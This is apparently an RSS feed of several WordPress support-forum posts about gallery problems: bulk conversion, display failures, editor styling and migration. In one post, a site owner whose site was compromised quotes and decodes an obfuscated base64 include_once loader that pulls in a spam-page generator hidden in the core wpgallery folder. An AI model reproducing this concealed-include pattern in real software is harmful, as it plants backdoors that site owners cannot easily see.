I have been using wordpress for years with jetpack tiled galleries. I have them in hundreds of posts. Now I want to cancel the jetpack plugin and convert the tiled galleries to standard guttenberg galleries due to speed and amount of unnecessary code. One at a time it’s not a problem but it’s over 500 posts. Does anyone know of a fix or plugin that would allow me to do this reversible conversion in bulk?
Additionally I would need this with media conversion from NONE to LINKTOFILE
Thanks for any idea
]]>I’m trying to get the standard wpGallery running in my post.
I followed this tutorial.
But I ain’t get it working.
This is what my editor shows while editing a page:
https://i39.tinypic.com/6ivi1z.png
But at the front-end nothing displays..
I’ve edited the TwentyTwelve theme to get a custom layout so I delete some things in the page.php, content.php and several files.
Someone familiair with this problem or knows what I can do to make it work?
Thanks!
]]>On one of the two sites, Image Galleries are not displayed in the visual editor. They are just fine in the text mode.
Inspecting the HTML, I see that the generated markup looks like this:
<img class="wpGallery mceItem" data-mce-src="https://example.com/wp-includes/js/tinymce/plugins/wpgallery/img/t.gif" src="https://example.com/wp-includes/js/tinymce/plugins/wpgallery/img/t.gif" alt="" title="gallery ids="100,101,102"">
This microscopic image does not get styled, so the gallery remains invisible in the editor.
On the other site, the markup looks like this:
<img class="wp-gallery mceItem" data-mce-src="https://example.org/wp-includes/js/tinymce/plugins/wpgallery/img/t.gif" src="https://example.org/wp-includes/js/tinymce/plugins/wpgallery/img/t.gif" alt="" title="gallery ids="100,101,102"">
In the second case, the CSS class is wp-gallery instead of wpGallery, and it’s getting properly styled.
On the non-working style, I disabled all plugins, and reverted to the TwentyThirty theme : issue is still persisting.
Pretty crazy, isn’t it?
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function _1424099673($i){$a=Array(‘L2hvbWUvcm9yX3BvZGNhc3RfYWRtaW4vcmVzZWFyY2hvbnJlbGlnaW9uLm9yZy93cC1pbmNsdWRlcy9wb21vL3BvbW8ucGhw’);return base64_decode($a[$i]);}
include_once(_1424099673(0));
That translates into
$GLOBALS[‘_416406938_’]=Array();
include_once(/home/ror_podcast_admin/researchonreligion.org/wp-includes/pomo/pomo.php);
That file contains more to be decoded which results in a big block of stuff I won’t bother posting which has the effect of creating a bunch of spam landing pages for a bunch of common spam topics like viagra, etc. These pages are loaded from a bunch of encoded/zipped/rot’d files in wp-includes/js/tinymce/plugins/wpgallery/img/xml which appear to have been unzipped from a file called compressed.zip.
I’d love any info any could provide on how this could have gotten started I’d greatly appreciate it as I had permissions set along the lines of what’s laid out in the Hardening WordPress guidelines and was running at least WordPress 3.2.0 (I can’t remember if I’d updated beyond that).
Thanks.
]]>I am helping a friend with a website and her hosting expires today. We have new hosting, installed wordpress and imported an xml file. Everything seems to have imported fine except for the pages with nothing but WP Galleries.
For example, here is one of the pages on the original site:
https://www.lespetitespommes.com/?page_id=2152
Here is the same page imported to the new hosting:
https://www.lespetitespommes.ca/?page_id=2152
As you can see it is displaying nothing. Where can I find the files that hold the code for the WP Galleries so that I can just drop and drag them into the new WordPress installation?
Thanks a lot,
Chris
]]>Now I know what I need, but need some PHP help! I am using the Constructor theme, and need to create an image.php file (there is none present for this theme). I have tried using image.php files I’ve found elsewhere for other themes, but don’t know enough to be able to edit it for my purposes.
My goal is to use the WP gallery like I normally do, with thumbnails in the posts, and link the thumbnails to the attachment page. The problem is now the attachment page features the images at medium size (why is this the default?!). I’d like it to be at full size. Currently to see full size, you’d have to click again, and then its just the image, no sidebars or headers or image titles.
I believe this would be easy for someone who knows their way around PHP- hopefully a kind soul will have a second to help me keep from pulling my hair out.
for reference sake here’s my page: www.erikturner.net/wordpress
any post that has 150×150 thumbnails are the WP gallery which I’m referring to in this post- click on it and it only gets slightly bigger! That’s what I’m trying to fix. Thanks!!
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